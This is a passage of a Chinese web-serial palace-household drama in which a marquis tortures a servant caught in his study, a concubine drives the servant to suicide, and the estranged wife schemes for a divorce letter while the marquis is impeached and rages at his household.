长庚一见两人这副样子,也吓了一跳,一脸懊恼的急忙转身道,“侯爷,属下本不该打扰,但实在是情况紧急。” 春红闻言,整理衣服的手微微一顿,有些心虚的小心翼翼的侧过头,偷看段骆岐的反应。 “发声什么事了?”段骆岐穿上鞋起身。 “书房进贼了。”长庚压低了声音,但还是如同在屋内扔下了一颗炸雷。 段骆岐猛地抬头,眼里闪过一抹阴狠,春红浑身一抖,有些惊恐地看了两人一眼,急急忙忙的低下头,用整理头发来掩饰自己内心的慌乱。 “贼抓到了?走,去看看!”段骆岐面色阴冷的从长庚身边经过,快步走出房间。 春红急忙停下手中的动作,朝着屋外张望,想偷听两人的对话,可是他们已经走得太远了,即便听到他们在说话,却听不清到底说了什么。 “怎么办?会不会供出我?”春红急的死死咬住手指,思索如何洗脱自己的嫌疑和自救。 “是府里的小厮,喜子,平日负责打扫整理的。”长庚跟在段骆岐身边,将情况一一说明,“今日我去书房替侯爷拿账本,发现屋里有翻过的痕迹。” “属下急忙四处查探,发现喜子正鬼鬼祟祟的要进屏风后的内室,被我制止了,还在他的身上发现了一个鸡血石印章,应该是打算拿出去卖的。” “抓得好!”段骆岐咬牙切齿,似乎恨不得立马将人乱棍打死,“人关在哪里?” “在柴房。”长庚说完,就见段骆岐脚下改了方向,直奔柴房去了,他也急忙跟上。 柴房内一片阴暗,只有丝丝缕缕的光纤透过窗锋、门缝照射进来。 被五花大绑的喜子喉咙塞着抹布,痛苦的不住挣扎,惊恐得时不时看向房门,几乎能想象到迎接自己的会是什么。 果然,下一瞬,就看到柴房外传来开锁的声音,接着房门被人从外面狠狠地一脚踢开。 喜子吓得浑身不住的抖了起来,惊恐得眼睛看着段骆岐从外面走了进来,整个人抖得更厉害了。 “唔……唔!”喜子想要开口求饶,却发现他一点声音都发不出来,于是立马用双膝跪在了地上,不住的给段骆岐磕头,才几下额头就全红了。 “就是你在书房乱翻?”段骆岐阴狠的声音响起,如同吐着信子、杀人不见血的毒蛇,他猛地抬起一脚就狠狠朝着喜子心口踹了过去,“好大的胆子!” 段骆岐给了身后长庚一个眼神,长庚立马上前将喜子嘴里的抹布拿了下来。 “侯爷饶命,侯爷饶命,小的不敢了,真的不敢了,我就是最近手头拮据,一时鬼迷心窍,才想偷了东西拿出去卖!” 喜子无视嘴角渗出的鲜血,再次跪在地上磕头求饶。 “真的只是这样?”段骆岐怀疑的盯着对方的眸子,上下打量,目光带着一股威胁的意味道,“说,是谁派你来的,你到底想找什么?” 喜子一愣,强壮镇定,将眼底的惊慌压制了下来,他拼命摇头道,“侯爷,真的没有人,奴才偷东西这种事,哪敢跟别人说啊。” 段骆岐危险的眯了眯眸子,嘴挺硬,也不知道到底是不是真的,先关起来折磨两天,如果只是偷窃最好,那或许还能留条活命,如果不是,那他和这背后之人,他一个都不会放过。 “好,我看你还能坚持到什么时候。”段骆岐又给了长庚一个眼色,等长庚走上前来,他便背过身去。 很快,他便听到身后传来了喜子凄惨的哀嚎,以及刑具打在身上的声音。 浑身是血的喜子已经被打得嘴唇干裂,脸色苍白,满头大汗,就连凄厉的叫喊声都发不出来了,整个人犹如马上就要死去一般,接着眼睛一番,直接晕了过去。 段骆岐不满的皱眉,回头踢了他一脚,见喜子是真的晕了,便有些嫌弃的转身道,“继续守着,一会再给他吃点苦头,我就不信撬不开他的嘴。” 长庚犹豫了一下,开口问道,“侯爷,如果他真的只是第一次盗窃的话,怎么办?” 段骆岐思索了一下,立马毫不犹豫的道,“那就打残,直接扔出去,让他自生自灭。” “是。”长庚低头应下,目送段骆岐出了房门。 长庚又在柴房呆了很久,此时长廊尽头处,闪过一个人影。 春红得知喜子被关在柴房后,便鬼鬼祟祟的摸了过来,她正要探出头往这边走时,就听到了长庚审问喜子的声音,她急忙又将头缩了回去,躲在了墙壁后面。 又过了一会,春红听不见长庚的声音了,她又偷偷探出头,发现长庚出了柴房,理了理自己的袖口,大步朝着主院去了。 春红见状,立马大着胆子摸到了房门口,一看房门没锁,立马开心的推门进去,随即一脸小心谨慎的将房门关上了。 映入春红眼帘的,是嘴唇已经有些发紫,面色全无,一脸痛苦,奄奄一息的喜子,她吓得急忙捂住了嘴,不让自己惊呼出声。 这喜子的惨状也太渗人了,浑身都是血。 春红浑身抖了抖,但还是大着胆子上前,轻声道,“喜子?” 第六十章 喜子上吊 喜子缓缓睁开了眸子,春红松了一口气,又立马皱着眉头,对喜子嘀嘀咕咕说了好久。 “好。”喜子的脸色由一开始的不敢置信、怨恨不甘,到最后的心如死灰,他冷笑着几乎是用气音做了回答。 春红松了一口气,“你既听明白了,那我便放心了。你在长庚回来之前,自行了断吧。” 春红说完,一副不忍心看喜子在自己面前惨死的模样,扭头脚步匆匆的拉开房门,再转身看他最后一眼,立马关上房门飞快离开。 不到半个时辰,段骆岐书房进贼,喜子上吊自杀的消息就传到了杜明月的耳朵里。 正在教红豆下棋消磨时间的杜明月手中动作一顿,眉头紧蹙的抬起头,“红豆你去打探一下细节,到底是怎么回事。” 说着,她将手中的白子放入棋盒,红豆也急忙收了棋子,正准备离开时,春红却一脸惊慌的找来了。 “姐姐!”春红脚步虚浮的冲进来,脸上满是惊恐,却不敢大声喧哗,一进来直接跪倒在杜明月的脚边。 杜明月先是一愣,随即抬头给了红豆一个眼色,示意她不用去打听了,她现在已经大概猜到是怎么回事了。 她蹙眉直视着春红,目光里有失望和愠怒,她没想到春红做事竟真的这样冲动,完全不顾后果。 杜明月沉默了许久,无奈的开口道,“说说吧,到底怎么回事?” 春红刚才回去后,对自己怂恿喜子上吊自我了结的事情越想越怕,甚至有些后悔,就在她想着要不要去阻止喜子时,却听到喜子已经死了。 此时,她彻底乱了阵脚,只能急急忙忙的来求杜明月,想寻个能保命的法子。 于是,她丝毫不敢隐瞒,将事情原原本本都告知了杜明月。 杜明月听完两眼一黑,许久才叹了口气道,“这么大的事,你竟不第一时间来告诉我,竟然自作主张……” “当初,是你自信满满的向我承诺,一定能替我找到和离书,现在,你非但没拿到和离书,还白白搭上了一条人命!你以后侯爷真的会就此作罢?” 杜明月咬牙,其实哪怕喜子说是自己让他去偷和离书的,她都不怕,她自信有办法能应付。 可现在,偏偏春红让喜子上吊了,这盘棋一下子就成了死棋,这才是真的麻烦了。 杜明月现在已经完全看清了段骆岐的阴狠虚伪和多疑,因此这喜子不死还好,哪怕认下偷盗,她都能出面保下喜子一条命。 现在喜子突然死了,段骆岐一定会更加相信,他背后是有人指使的,怕不是大费周章,将府里翻个遍,也一定要查出这背后之人。 杜明月叹了口气道,“算了,事已至此,说些责备你的话也毫无用处,办法我是有一个,只是不知道你肯不肯听,听了又愿不愿意照做!” “姐姐,您说,我愿意,我一定照做。”春红急得声音都带了颤音。 杜明月犹豫的看着她,不过片刻的功夫,春红已经不安的要哭出来了。 “求姐姐救我,只要姐姐愿意救我这一回,以后……以后若我生下孩子,我愿意抱来给姐姐养着,我以后绝对安分守己。”春红甚至指天发誓。 “姐姐,这一次,真的是我一时糊涂了,不是有心将事情变成这样的。”春红脸上泪痕肆意,将她精心涂抹的妆容毁得一塌糊涂,看起来甚至有点像个小丑。 杜明月抿唇,倒不是因为她的话心动,毕竟她没有替别人养孩子的癖好,只是担心,若段骆岐降下责罚,她能不能咬牙受得起。 “好,我确实有办法让你仍能留在侯爷身边,但这前提是,你要主动承认这件事是你做的,侯爷降下的所有惩罚,你必须一一承受,绝不能再多吐露半个字。” 杜明月如墨的黑眸定定的看着春红,只见春红一愣,不可置信的脱力瘫坐在地上。 “姐姐……这话是何意?”春红不能理解,如果她承认了,不是一切就都完了吗,她的下场又能比喜子好多少呢? 杜明月见她如此模样,不禁冷笑出声,“这点胆量都没有?那我劝你还是尽早收拾东西逃跑吧!” “……”春红再次愣住,想着好歹杜明月应该不至于骗自己,毕竟她若好不了,那她就把杜明月也供出来。 想到这里,春红终于鼓起勇气心一横道,“姐姐我知道了,我一定按姐姐说的做。” “好,那你就找侯爷负荆请罪去吧。”杜明月眉眼微抬,眼里带着自信和淡漠,“你记住,你从未找过喜子帮你找和离书,他和你毫无关系,他就是单纯盗窃被抓住的。” “至于他为什么见了你一面就上吊了,你只要一口咬住是心疼侯爷,不想看到侯爷为这件小事烦心,所以吓唬喜子要去他老家搜查,让他趁早自我了断就可以了。” 听了杜明月的点拨,春红的眼睛终于亮了起来,她不住的点头,便是已经将杜明月的话都记住了。 杜明月看她一副似懂非懂的模样,还是不放心,便出言强调道,“这一次,不管侯爷怎么责罚,甚至鞭打你,你也不能多说一个字,哪怕他吓唬你,要送你见官,也绝不能改口。” 春红又急忙点头,杜明月这才稍微有些放心道,“你放心,侯爷最多是罚你跪跪祠堂,或是打你两鞭,扣你月银,不会真的送你去见官的,这毕竟是一桩丑闻,他不会捅到官府闹得人尽皆知的。” “是,妹妹记住了。”听了杜明月的分析,春红这才真的彻底放下心来。 她暗自咬牙思忖,不管是什么责罚,她一定都能忍过去,毕竟只要她还能继续留在府里,以后再生下一儿半女,那后半生可是有享不尽的荣华富贵。 “行了,听懂了就赶紧去找侯爷吧,此时宜早不宜迟,早些解决,你也好安心讨好侯爷。”杜明月不愿再多费口舌,简单几句结尾,便打发了春红。 春红离开后,红豆有些好奇的问道,“主子,这样真的能行?” 第六十一章 被弹劾 “若是别人,或许侯爷还会怀疑,可这种事放在春红身上,他不会怀疑的。”杜明月自信满满的勾唇。 毕竟,段骆岐也知道春红是个没脑子的,能做出这种蠢事来,倒也不稀奇,所以完全能蒙混过去。 “不过……”杜明月像是突然想起什么,眼眸波动,蹙眉认真思索了起来。 “若是只为一个和离书,他不可能这么紧张的。”杜明月几乎是自言自语,红豆在一旁听不清楚她的话,还特意往前凑了凑。 “主子,您说什么?”红豆一脸疑惑。 “哦,没什么。”猛地回过神的杜明月下意识回答,看清红豆放大在自己面前的那张脸,忍不住又笑了,安下心来。 “我刚才是在想,侯爷对喜子进书房盗窃一事反应似乎有些过激,总觉得书房里一定藏着什么秘密,他不敢示人的秘密。” 杜明月的眼眸中闪过一抹笃定的光芒,心中暗下决心。 拿到和离书固然重要,但现在好像还有比这更重要的事情,那便是一定要弄清楚段骆岐在书房藏了什么秘密。 “红豆,你过来。”杜明月招手,让红豆附耳过来。 她在红豆耳边低声说了一阵,才抬头道,“你多小心,一定留个心眼。” 红豆一脸认真的点头,神色有些紧张,还有些小小的兴奋和期待。 接下来几日,杜明月听说春红被杖责十五,罚去半年的月银,还被关进了佛堂。 有两次,段骆岐试图进摘月居夜宿,但都被杜明月冷冰冰的拒之门外,最后都宿在了柳楹莹处。 杜明月心想:这几日下来,估计段骆岐和柳楹莹之间,又变得和以前一样,温柔小意,如胶似漆了吧。 可让杜明月都有始料不及的是,就在这侯府看起来平静无波、一片祥和安宁的时候,朝堂上,一道言官弹劾的奏折被呈了上去。 弹劾段骆岐的奏章,言辞激烈,条理清晰,一石激起千层浪,在镇南侯府掀起了轩然大波。 “老不死的董丞相!”才刚刚回到府中,甚至连官服都没来得及脱的段骆岐一屁股坐下,狠狠地拍着桌子。 段骆岐因为过于愤怒,脖子青筋暴起,面色涨红,伸手直接将桌上的茶具物品通通扫落在地。 “不,这肯定是董皇后的意思。”段骆岐愤怒的声音混杂着瓷器摔碎的声音响起。 “没错,肯定是她暗示董丞相,联络言官!这是后宫干政!她才应该被降罪!”段骆岐气的几乎有些语无伦次了起来。 就在他一个人在花厅无能狂怒,门外的小厮丫鬟、婆子们都不敢靠近时,段老夫人在婆子的搀扶下出现在门口。 “这是怎么回事?”得到了消息急匆匆赶来的段老夫人面露担忧,十分慌乱不安,“老大,这到底是怎么回事!” 段老夫人进屋,见段骆岐不肯开口,又急又气的一再催促询问。 段骆岐怒意难消,在段老夫人面前又不好发作,几次几乎要将牙齿咬碎。 过了好一会,他内心稍微平息了一些,这才开口道,“有人在朝堂上弹劾我在国丧期间娶妻生子,是为大不敬之最,将我赋闲停职,等候圣上裁决。” 段骆岐双手紧紧攥着,强忍下心中想要打砸发泄的愤怒,他眼底闪过愤怒、不甘,也有一抹后悔一闪而过。 段老夫人一愣,在心中认真的算了起来。 “你和柳氏不是在那之前……不对,国丧期间,是甜儿?”段老夫人像是后脑勺被人狠狠砸了一记闷棍,猛地抬头,一脸不敢置信的看着段骆岐。 “是甜儿对不对!”段老夫人一副痛心疾首的模样,上前拍打着他的后背,责备道,“我老糊涂了,没有注意到,你怎么能犯这种错呢!” “咱们镇南侯府重新振作起来才多久啊,光耀门楣、发扬光大还不够,你怎么能做这样的蠢事,这下好了!所有的努力都要白费了!” 段老夫人越说越气,甚至一下子不小心将心里话说了出来。 话一出口,段老夫人这才意识到自己口不择言了,急忙住嘴,愣了一下。 段骆岐十分伤心失望的看着她,不敢置信道,“母亲,您竟然说我蠢吗?” 段老夫人一愣,心里却暗暗松了口气,好在段骆岐并没有听懂她的话。 “没有,母亲不是这个意思,你知道的,母亲太生气了,有时候也会胡言乱语的。”段老夫人尴尬的笑着,刚才的愤怒气场消散全无。 她急忙安抚道,“现在这个家里,都是靠你在苦苦支撑,你有多优秀,母亲自然是知道的。” “都怪那个柳氏不好,引诱你犯错,你一时大意也是有的,况且,你便是同她欢好又如何,她就不该将这孩子生下来!她连这点都忘了,看看给你带来多大的麻烦。” 段骆岐听到这些话,心里才舒坦了一些,原本内心那些莫名烦躁和无能狂怒的心情也得到了疏解,他也将所有的过错都算在了柳楹莹的头上。 他的眼神发狠,“母亲说的对,都是柳氏的错,她不该生下这孩子,也不该自己跑到京城来!” “如果不是她跑到京城来,我也不会正式纳她入府,她不算我的妾室,甜儿的事情本来也是能蒙混过去的,可是现在这个罪名是死死的扣在了我头上,想否认都不行!” 越说越气,段骆岐转头拔腿就要去找柳楹莹算账。 “母亲,你放心,我一定会官复原职的。我去找柳氏,您慢走。” 话音才刚刚落下,段骆岐已经如一阵风一样的出了门。 段老夫人看着他离去的背影,三角眼眼尾微微上扬,一副等着看好戏的模样。 闹吧,最好闹得妻离子散、孤家寡人一个最好。 “咱们也走吧。”段老夫人嘴角噙着一抹得意的笑意,也离开了花厅。 偏院。 正坐在床头做女红的柳楹莹突然听到外头传来急切的脚步声,面上一喜,连忙抬头。 果然是段骆岐来了,远远看过去,真是行动如风、英姿飒爽,还是那个让她心动的样子。 第六十二章 柳楹莹被打 “侯爷。”柳楹莹面带娇羞,快步迎了上去,声音娇滴滴的,恨不得下一瞬,她就能落入一个结实的怀抱。 然而柳楹莹设想中的紧紧相拥的一幕并没有出现,等待她的是段骆岐的雷霆暴怒。 “都是因为你!”段骆岐怒目圆瞪,抬手就狠狠给了柳楹莹一个巴掌! 原本沉浸在幸福中的柳楹莹完全被这一巴掌打蒙了,脚下一个踉跄,直接撞到了一旁的桌子上,整个人直接朝后摔在了地上。 脸上是火辣辣的疼,额角也渗出了血丝,柳楹莹只感觉两眼一黑,头上直冒金星。 过了许久,柳楹莹才反应过来,她抬头用哀怨、委屈不解的眼神看向段骆岐。 “侯爷,你这是干什么!”柳楹莹不明白,段骆岐这几日明明沉浸在自己营造的温柔乡中难以自拔,怎么会突然变脸,变成这副令人可怖的模样。 “你问我干什么!我倒是想问问你到底想干什么!”段骆岐指着柳楹莹的鼻子骂道,“我让你在岭南好好待着,等我亲自去接!你偏不!你偏要来!” “现在好了!你是入府了,做妾了,你甘心了?”段骆岐眼里满是寒意和不屑、嘲讽,“可你害得我被停职查办!” 柳楹莹捂着红肿的脸颊一开始呜呜咽咽哭着,听到段骆岐说他被停职查办,一下子止住了哭成,一脸震惊和恐慌的看着他。 “怎么会?”柳楹莹浑身发抖,也不敢大声质问,用小的向蚊子似的声音自言自语了一句,却清清楚楚的落在了段骆岐的耳朵里。 “怎么会?怎么不会!”段骆岐气得要死,他深吸了一口气,让自己不至于马上被气炸,转头就将屋里的东西打砸一通。 “我告诉你怎么会这样!”段骆岐指着柳楹莹道,“都是因为你,国丧期间,你竟然敢生下女儿!你知道自己怀孕时,就应该及时堕掉啊!” “这么严重的错误,你的出身不会不知道吧?”段骆岐咬牙切齿道,“你明明什么都知道!可你还是生下了甜儿!你就是为了自己的私欲,想要将我绑在你身边!” “好,退一步万步来说,你生了就生了,你一个外室,即便言官弹劾,我不承认就罢了,可你偏偏找来京城,要死要活要做妾,好了,我现在纳了妾,认了孩子,这罪名就落在我头上,我摘不掉了!” 段骆岐越说越气,抬起一脚,朝着屋里的椅子踢去,毕竟常年是在军营的人,一脚就将椅子踢碎了,吓得柳楹莹又惊恐得抖了一下身子,全身瑟缩的更厉害了。 “这下好了,你满意了,啊?”段骆岐的怒吼在屋子里回荡着,吓得柳楹莹抖得如同筛糠一般。 “今日起,你就待在偏院反思吧,没有我的允许,你哪里都不准去!”段骆岐冷冷的下了判决,说完转身就要走。 “侯爷,不要。”柳楹莹回过神来,立马扑过去,抱住他的脚踝。 段骆岐不悦的皱眉,厌恶的看过去,抬起一脚,就将柳楹莹狠狠地踢向一边,一甩手潇洒的离开了。 摘月居。 红豆一路小跑的跑进了院子,又急匆匆的进了屋子,附在杜明月耳边嘀嘀咕咕说了一会。 等红豆起身,杜明月一脸震惊的看着她。 “真的?”杜明月眼里闪着晦暗不明的光芒,心绪复杂。 虽然段骆岐被言官弹劾,停职在家,是罪有应得,她杜明月喜闻乐见的,但一想到接下来,他可能一直待在府里,待在书房,她很难找到机会进去查看,心情就有些沉重。 “真的,侯爷刚才还去柳姨娘那里发了好大一通火,听说柳姨娘脸都被打肿了,在屋里一个人哭了很久呢。” 红豆一副幸灾乐祸的模样,几乎要笑出声。 杜明月却有些开心不起来,忧心忡忡的道,“别高兴的太早了,估计之后又有的烦了。” 红豆不解,不过很快,第二日,她便深刻的理解了杜明月这话是什么意思了。 翌日。 一大早起来,洗漱好,用过早膳的杜明月和红豆就在院子里忙活了起来。 杜明月站在几盆刚到的鲜花钱摆弄着枝叶,神情十分专注,阳光洒下落在她的脸上,衬得人比花还娇。 红豆在她身后来来去去跑了好几趟,每次出去的时候,手上都端着东西。 “主子,糕点可以再多带几盒吗?”红豆脸上挂着不好意思的笑容,嘿嘿笑着凑上来。 杜明月失笑,“待着吧,让你出去陪我踏青,总不能不让你吃饱。” “嗯,那我就都带上了!”红豆说着欢欢喜喜转身又跑进了屋子。 红豆才刚刚出去,段骆岐一手背在身后,犹豫着踱着步子从外面走了进来,还回头看了一眼红豆离开的方向。 “你要去踏青?”段骆岐试探着询问了一句。 杜明月面色冷冰冰的,甚至眸子都懒得抬一下,也不看他,也不说话。 短暂的沉默,让段骆岐有些承受不住了,他皱着眉头道,“杜明月,好歹你是我侯府的夫人,是我的妻子,你怎敢如此无视我?” 这话说的杜明月眉头一皱,满心的厌恶,手下不禁狠狠用力,将一株开得正盛的花朵一剪子剪掉。 花朵落下来,杜明月心里看着舒服多了,如果现在是别的东西这这花朵一样咕噜掉下来,她可能会更加开心! “侯爷,注意你的用词,你答应过我,一定会给我和离书的。”杜明月依然眉眼都不抬一下,保持着修剪花枝的动作,完全不看段骆岐。 “你说过不会反悔,等我拿到和离书,咱们就什么关系都不是了,侯爷也该早点认清事实!”杜明月声音淡淡的,可每句话都像一把刀子,精准的戳进段骆岐的心窝。 段骆岐只觉得心口一紧,有些尴尬,立马缓和了神色和语气道,“先不说这些,今日难得天气不错,你要出门踏青,我陪你!” 段骆岐欢欢喜喜的等着杜明月的回答,谁知杜明月不说话了,甚至在他等不及,又开口问了两遍以后,她还是一言不发。 第六十三章 戳到痛处 段骆岐正欲上前夺下她手中的剪刀,红豆也不知道是从哪里冒出来的,突然就冲到了杜明月身边,一脸警惕的看着他。 想到红豆的身手也不错,万一自己不能一举将剪子抢下来,反而会弄巧成拙,更没有希望和杜明月一起出门了。 这么一想,段骆岐便打消了冲动的念头,决定就在一旁等着。 他就不相信,以前那么爱自己的杜明月真的忍心他一直在太阳底下晒着。 然而,事实再一次打了他的脸。 杜明月本打算修剪完这些花的枝杈就出门的,但现在看段骆岐一直在跟前碍眼,她心中便故意生出几分刁难他的意思来。 “红豆,把这些搬到墙根去,再把花肥拿来。”杜明月低垂着眉眼,有条不紊的抱着一盆花,自己先移到了墙角处。 “……”段骆岐一脸尴尬的看着杜明月离开,伸出手犹豫道,“明月,我帮你?” 回复他得只有杜明月冷漠的背影,红豆撇了撇嘴,抱着花盆一副要躲开他的模样,从他身边经过。 段骆岐心口窝着一股无名火,又不好发作,只能叹着气,看杜明月撒完花肥,不仅不停手,甚至还在院子里辟出一块地来,移栽起花木来。 等到杜明月终于直起腰,轻松的拍拍手结束这一切时,段骆岐的耐心已经全被耗尽了。 他早就没有了刚才想要出门踏青的心情,只有满腹牢骚和愤怒。 “杜明月!你是不是故意晾着我,现在在你眼中撒花肥种花比我都重要是吗?”段骆岐气的脖子上青筋暴起,脸黑如锅底,“我好心来陪你踏青,你就这么对我?” 杜明月眉眼淡淡的看着他,好像在看一个无能狂怒的小丑。 “侯爷,我可没有答应和你一起去踏青,是你自己赖在这里不走。”杜明月将擦手的帕子递给了红豆,示意她差不多可以出门了。 红豆立马点头,对段骆岐道,“侯爷请回吧,主子准备出门了。” “闭嘴!这里有你插嘴的份?”段骆岐狠狠瞪了红豆一眼,对杜明月道,“杜明月,你未免太不把我放在眼里了!你当真要这样一直作践我的真心?” “侯爷!”杜明月只觉得他聒噪,忍无可忍直接开口打断道,“不要将自己说的委屈,你对我何曾有过半点真心?” 杜明月眼中满是冷笑和嘲讽,用故意提醒他的语气道,“你好像不记得了,我们成亲五年,你在外养外室养了甚至不止五年。如今又有两房妾侍在侧,对我哪里还有半点情谊!” “侯爷似乎忘记了,前段时间才和柳姨娘如胶似漆,和春姨娘打得火热,怎么现在这会突然不记得了?” 杜明月冷笑出声,她的态度如同一把尖刀,准确的插在段骆岐胸口上,将他说的一愣一愣,心口被堵得难受,却一句话都说不出来。 “今日侯爷来找我,不过是同她们相处的不顺心了,才突然找上我。” 杜明月眉梢一挑,像是想起了什么,满眼都是幸灾乐祸,揶揄道,“对了,侯爷之所以愿意出门踏青,其实是想给自己找点事情做做吧?圣上停职查办的裁决什么时候下来的?侯爷这样无所事事有几日了吧?” 杜明月一副认真好奇的模样,言语间却犀利的直戳段骆岐最致命的地方。 下一瞬,被戳中痛处的段落起暴怒跳脚,完全控制不住心中汹涌而来,将他吞没的愤怒。 他知道自己没有杜明月这么伶牙俐齿,说不过她,于是转头就开始在院子里发疯。 他发疯一般将杜明月刚刚种下的花木连根拔起,让带着泥土的花木在院中横七竖八的躺着。 杜明月静静的看着他发疯,看着他将自己院中的鱼缸打碎、将房门踢坏。 也不知道到底过了多久,直到段骆岐发泄的没了力气,杜明月这才悠悠的开口。 “侯爷发泄完了?满意了?”杜明月安之若素的微笑开口道,“如果觉得不够,侯爷可以继续打砸,没关系,反正之后我会送账单到老夫人那里。” “你!”段骆岐猛地抬头,目光凶狠的看向杜明月。 红豆见状,像是生怕他伤心杜明月一般,默默挪到她身前挡住。 “……”段骆岐几乎要将后槽牙咬碎,定定的盯着杜明月沉默了许久,终于一甩袖子,转身离开了。 红豆见状松了一口气,急忙回头看向杜明月。 杜明月不仅不生气,反而开心的看着她道,“我去写账单,你一会送过去!” 杜明月一脸喜色的进屋,提笔写下今日的一应损失物品,还故意将各种花木的价钱按照珍惜花木的价钱来报,价钱比原价高了不止两三倍。 这么多年,她为段府付出了这么多,现在她总该多少讨回点利息,白拿的钱不要白不要! 杜明月欣欣喜喜的写完后,便将账单交到红豆,等着她回来。 没一会的功夫,红豆就回来了,脸上神情有些纠结,又开心又生气的。 “回来这么快,银子拿到了?”杜明月疑惑的询问,想知道发生了什么事情。 红豆耷拉着小脸,一脸沮丧道,“主子别提了,今日没能拿到钱,老夫人一看到账单吓晕了,没有拿到对牌,不能去账房支银子。” 杜明月倒没有红豆这么生气,毕竟这些钱,其实对她来说只是小钱,但她就是喜欢看到段家人为了这点钱要死要活的样子。 “真晕了?”比起银子,杜明月更好奇段老夫人是不是又在装晕。 “不,这次是真的晕了!”红豆一想起刚刚的场景,就忍不住笑出了声。 “哈哈,主子您没瞧见,老夫人从椅子上滑下来摔到了地上,旁边的婆子吓得大喊大叫,要去扶起来的时候,还害得老夫人的头狠狠的撞在了桌子上。” 红豆笑得几乎要直不起腰。 “后来,那婆子还喊我帮忙,还命我闭嘴,不准将她害老夫人撞到头的事情说出来,我帮那婆子把老夫人抬到床上,她去叫府医,奴婢就直接回来了。” 第六十四章 段骆芙下跪 杜明月听着红豆眉飞色舞的描述,想象了一下当时的场景,也忍不住掩唇笑了出来。 “行,那这账单改日再送也行,不能浪费了今日的好心情,走吧,咱们出门踏青去。”杜明月开开心心的带着红豆出了院子,直奔早已等候在府门外的马车。 就在杜明月刚刚坐上马车,准备喊红豆一起进来的时候,突然听到外面传来了一阵急促慌乱的脚步声。 段骆芙气喘吁吁,一脸焦急的冲到了马车跟前,伸开双臂挡在马车面前,不让马车离开。 “三小姐,你这是?”红豆微微蹙眉,对段骆芙的态度还是客气的。 段骆芙看了一眼红豆,对她点头,态度同样客客气气的,“我和大嫂说几句话!” 杜明月闻言微微蹙眉,在车内犹豫了片刻,还是同意和她说几句。 红豆才刚刚掀开帘子,段骆芙就急忙上前,扒着车厢着急的看向车内的杜明月道,“大嫂,求你变回以前的样子好不好,我喜欢那个带人温和、善解人意,最是一团和气的大嫂!” 段骆岐说着,声音颤抖,眼睛都红了,一副难过的马上就要哭出来的模样。 “以前的样子?”杜明月冷笑,“你们之所以喜欢那样的我,不过是你们每个人都从中受益罢了。” “可是那时的大嫂不是也很幸福吗?”段骆芙来不及思索,直接开口接话。 这话却让杜明月的神色一滞,眼底闪现出一抹不悦的神色。 “幸福吗?你嫁作人妇却被丈夫欺骗,你会幸福?你被丈夫和身边的人算计,你也会高兴吗?” 杜明月冷冷的声音冻得段骆芙浑身一颤,语塞的说不出话来。 段骆芙知道杜明月说的都是对的,也能理解她为何变成现在这个样子,可是她真的不喜欢这样的大嫂,她现在每天看到杜明月将家里闹得鸡飞狗跳,都很心痛。 “回答不出来了是吗?”杜明月冷冷的开口,定定的看着她的眸子,像是想看到她的灵魂深处去一样,“我告诉你,你为什么喜欢以前的我!” “以前的我傻,拿出全部身家辅佐你大哥,助他平步青云,你们全家享受着镇南候带来的荣光,我全心全意侍奉婆婆,你们不要操一点心。” “我管着偌大的侯府,替你!替你的二哥遮掩下你们犯的所有过错,帮你们兜底,你们做什么完全没有心理负担,不用承担任何责罚!因为,这一切都是由我来承担的!” 杜明月冷笑的看着脸色煞白,嘴唇微微颤抖的段骆芙。 段骆芙一句反驳的话都说不出来,因为她的每句话都一针见血。 杜明月沉默的看了她许久,让段骆芙几乎有种溺水的窒息感。 “以往你看到的所有的风平浪静,那不过都是牺牲了我一人换来的。”杜明月冷冷的道,“这一点,你也深有体会才对,不然,这一年在东宫受罚的不是我,而是你!” “我……”段骆芙的内心一颤,像是被什么东西烫到了一句,猛地缩回手,愣愣的站在杜明月面前,眼眸颤动,不敢开口。 杜明月目光淡淡扫了她一眼,缓缓开口,语气轻柔了一些。 “不过你放心,既然一年前,是我心甘情愿替你的,我便不会后悔。只是事已至此,多说无用,从此以后,你也不必再强求什么,我不会再替段府的任何人委屈自己了。” 话落,杜明月给了红豆一个眼神,红豆点头,正准备放下手中掀起的轿帘,却看见段骆芙突然“扑通”一声跪了下来。 红豆吓了一跳,只能继续紧握着轿帘,有些困惑的看向杜明月。 杜明月见状,柳眉蹙起,没有让红豆继续,而是皱眉看向段骆芙,不解她这是要做什么。 段骆芙“咚”、“咚”的一连给杜明月磕了三个响头,再抬头时,早已是哭得泪流满面,涕泗横流。 “都是因为我,都是我!”段骆芙大声哭着,发自内心的难过和后悔,“当初若不是我在宴会上惹了祸,大嫂你便不会代我入宫受罚,大嫂你不会入宫,便不会和大哥分开,你们的感情就不会产生嫌隙和误会,变成如今这样。” 段骆芙泪水迷蒙了双眼,看不清杜明月的神情,她急忙用袖子用力的抹了一把眼泪。 “大嫂,都是我的错,是我害你变成现在这样的,呜呜呜,我该怎么办啊!”段骆芙哭得十分大声,杜明月只觉得吵得耳朵疼。 “这不是你的错。”杜明月犹豫片刻开口道,“虽说我入宫确实受了很多苦,也说不上谢你,但若没有这件事做契机,或许我永远都发现不了我被骗了这么久。” “与其什么都不知道,被骗一辈子,我宁愿万箭穿心之后,清醒的活着。”杜明月的声音轻柔,但却异常的坚定和有力量,十分清醒和理智。 段骆芙听了这话后,先是一愣,却继续哭得更大声了。 杜明月开口让她起来,段骆芙也不听,只是一味沉浸在自己的痛苦中,哭得更加大声了。 眼看着周围路过的人有些驻足下来,朝这边投来疑惑的目光,杜明月只能从马车里出来了。 “好歹你是这侯府的三小姐,跪在这里像什么样子。”杜明月叹口气,伸手将她扶了起来。 段骆芙虽然哭得很伤心,但觉得杜明月说得话也有道理,于是立马握住了杜明月伸过来的手,站了起来。 她抽抽噎噎的看着杜明月,杜明月犹豫了一下,伸手替她理了理额前的头发,目光中一片清冷和疏离。 “你不必自责,毕竟那日宫宴上的事情,也不是你有意为之,我不怪你,你也不必苛责你自己。” 她叹口气道,“只是,由这件事开始,后面发生的一切,都不是你我能预想和控制的,当真相被揭开的那一刻,我能做的也只有承受罢了。” 杜明月没有明说的是,她其实也不只是承受,她要反击,也必须反击,她不会在这烂到根子的段府里委曲求全度过余生,她一定会离开这腌臜的环境,重新开始。 第六十五章 被挟持了 “可我还是……”段骆芙呜呜咽咽的抽着肩膀,委屈的看向杜明月。 杜明月安慰道,“没事,你不必将这件事当做过错揽在自己身上,那件事只是起因,并不能决定结果。现在我变成这样,侯府变成这样,变得是人心,坏的也是人心。” 杜明月这些话话让段骆芙有些听不懂了,她觉得这话听起来歪歪绕绕的,她似懂非懂,一时不能理解透彻。 为了不让杜明月替自己担心,段骆芙只能愣愣的点点头,下意识回道,“我知道了。” 